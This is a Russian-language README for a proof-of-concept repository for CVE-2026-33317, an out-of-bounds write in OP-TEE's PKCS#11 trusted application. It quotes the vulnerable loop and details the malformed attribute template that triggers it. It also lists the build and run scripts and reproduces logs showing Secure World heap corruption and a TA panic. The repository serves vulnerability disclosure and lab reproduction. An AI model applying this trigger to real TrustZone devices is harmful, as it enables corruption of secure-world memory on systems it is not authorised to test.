
Доказательство концепции для CVE-2026-33317, записи за пределами границ в OP-TEE PKCS#11 TA, демонстрирующей повреждение кучи Secure World через некорректный шаблон атрибутов.
Этот репозиторий содержит proof of concept для Normal World, заметки по воспроизведению и захваченные журналы для CVE-2026-33317 / GHSA-8cqw-mg7v-c9p9.
Официальный advisory OP-TEE описывает отсутствие проверки в entry_get_attribute_value() для PKCS11_CMD_GET_ATTRIBUTE_VALUE. Ошибка может вызывать чтение за пределами границ из кучи PKCS#11 TA и, при некорректном шаблоне атрибутов, запись за пределы временного буфера шаблона. Этот PoC нацелен на случай записи за пределами границ и демонстрирует повреждение кучи Secure World в PKCS#11 TA.
CVE-2026-33317>= 3.13.04.11 и новее8.7 HighCWE-125, CWE-787Используйте это только в локальной лаборатории или в другой среде, где вам разрешено тестировать OP-TEE.
Локальная рабочая копия, из которой был подготовлен этот README, представляла собой упрощённое рабочее пространство OP-TEE QEMUv8. Каталог .repo и все файлы/каталоги метаданных .git были удалены, поэтому этот локальный архив больше не пригоден для использования с repo sync или обычными командами истории git.
Репозиторий GitHub намеренно исключает громоздкие деревья исходников OP-TEE/QEMU, тулчейны и результаты сборки. Воссоздайте их из qemu-v8-setup.md или скопируйте файлы PoC в существующий корень сборки OP-TEE qemu_v8 перед запуском автоматизированного воспроизведения QEMU из свежего клона.
Важные файлы верхнего уровня:
Подготовленный локальный архив также содержал каталоги исходников/сборки, такие как optee_os, optee_client, qemu, linux, trusted-firmware-a, u-boot, buildroot, out-br и toolchains; они игнорируются для публикации.
В уязвимом дереве optee_os функция ta/pkcs11/src/object.c выполняет итерацию по сериализованному шаблону атрибутов, предоставленному клиентом:
cur = (char *)template + sizeof(struct pkcs11_object_head);
end = cur + template->attrs_size;
...
data_ptr = cli_head.size ? cli_ref->data : NULL;
rc = get_attribute(obj->attributes, cli_head.id, data_ptr, &cli_head.size);
Цикл не доказывает, что каждый заголовок атрибута и его область данных полностью находятся внутри выделенного шаблона. PoC отправляет:
attrs_size = 8, ровно один pkcs11_attribute_head и ни одного байта данных.attrs_count = 1.cli_head.id = CKA_LABEL.cli_head.size = 16, совпадает с 16-байтовой меткой созданного объекта.Это создаёт выделение шаблона размером 16 байт:
sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16
Затем cli_ref->data указывает на template + 16, ровно на один байт за концом выделения. Функция get_attribute() в ta/pkcs11/src/attributes.c видит, что предоставленный вызывающей стороной размер достаточно велик, и копирует 16-байтовую метку по этому указателю за пределами границ, повреждая кучу PKCS#11 TA.
Предварительные требования, использованные в подготовленном рабочем пространстве QEMUv8:
expectqemu_v8 с результатами сборки, тулчейнами и бинарником QEMU, разложенными как в локальном архиве, описанном в qemu-v8-setup.mdСборка PoC:
./build_poc.sh
Ожидаемый результат сборки:
Built: out/bin/c01_poc
Запуск автоматизированного воспроизведения QEMUv8:
./run_c01.sh
Обёртка проверяет наличие следующих подготовленных файлов перед загрузкой:
out/bin/bl1.binout/bin/Imageout/bin/rootfs.cpio.gzout/bin/c01_pocЕсли артефакты сборки отсутствуют, сначала воссоздайте/соберите рабочее пространство OP-TEE, а затем повторно запустите ./build_poc.sh.
Журнал Normal World должен показать сформированный запрос:
[+] TEEC session with PKCS#11 TA opened
[+] INIT_TOKEN rc=0x00000000 OK
[+] OPEN_SESSION rc=0x00000000, session_handle=0x00000001
[+] CREATE_OBJECT rc=0x00000000, obj_handle=0x00000001
[+] Object has CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes)
[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...
[+] GET_ATTRIBUTE_VALUE[0] rc=0xffffffff
Журнал Secure World должен содержать утверждение аллокатора и панику TA:
E/TA: assertion 'BH((char *) b - b->bh.bsize)->prevfree == 0' failed at lib/libutils/isoc/bget.c:1022 in brel()
E/TC:? 0 TA panicked with code 0xffff0000
E/LD: Status of TA fd02c9da-306c-48c7-a49c-bbd827ae86ee
Захваченные журналы успешного запуска уже присутствуют в:
out/bin/c01_nw.logout/bin/c01_sw.logc01_poc.c вызывает UUID PKCS#11 TA fd02c9da-306c-48c7-a49c-bbd827ae86ee через libteec:
CKA_LABEL = "AAAAAAAAAAAAAAAA".CMD_GET_ATTRIBUTE_VALUE с attrs_size = 8 и cli_head.size = 16.Первого вредоносного запроса достаточно для повреждения метаданных кучи. Затем TA паникует, когда аллокатор bget OP-TEE обнаруживает повреждённые метаданные блока.
run_c01.sh предоставляет общий доступ к out/bin в гостевой системе через virtio-9p и записывает журналы обратно в тот же каталог.out/bin должны указывать на артефакты внутри этого архива. Опубликованный репозиторий GitHub отслеживает только захваченные файлы out/bin/c01_*.log.C-01-reproduction.md документирует более ранний подход с x86 ASAN-харнесом. Запускаемый PoC в этой папке — это QEMUv8 TEEC PoC: c01_poc.c.| Путь | Назначение |
|---|
c01_poc.c | PoC для AArch64 Normal World с использованием прямых вызовов libteec |
build_poc.sh | Кросс-компилирует c01_poc.c в out/bin/c01_poc |
run_c01.sh | Загружает QEMUv8 и запускает PoC через expect |
c01_check.exp | Автоматизирует вход гостя, монтирование virtio-9p и выполнение PoC |
out/bin/c01_nw.log | Захваченный журнал воспроизведения Normal World |
out/bin/c01_sw.log | Захваченный журнал Secure World с паникой PKCS#11 TA |
reproduction-log.md | Полные заметки по воспроизведению QEMUv8 |
qemu-v8-setup.md | Заметки по настройке OP-TEE QEMUv8 и базовой проверке |
C-01-reproduction.md | Более ранние заметки по ASAN-харнесу; не основной запускаемый PoC в этой папке |
AGENTS.md | Заметки по сопровождению для будущих ИИ/кодовых агентов |